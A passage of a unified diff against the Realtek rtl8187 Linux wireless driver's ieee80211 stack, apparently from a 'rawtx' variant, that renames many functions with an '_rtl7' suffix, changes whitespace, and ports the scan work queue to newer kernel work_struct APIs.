IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac.c 2006-06-18 21:27:33.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-08-12 13:11:32.000000000 -0400 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + 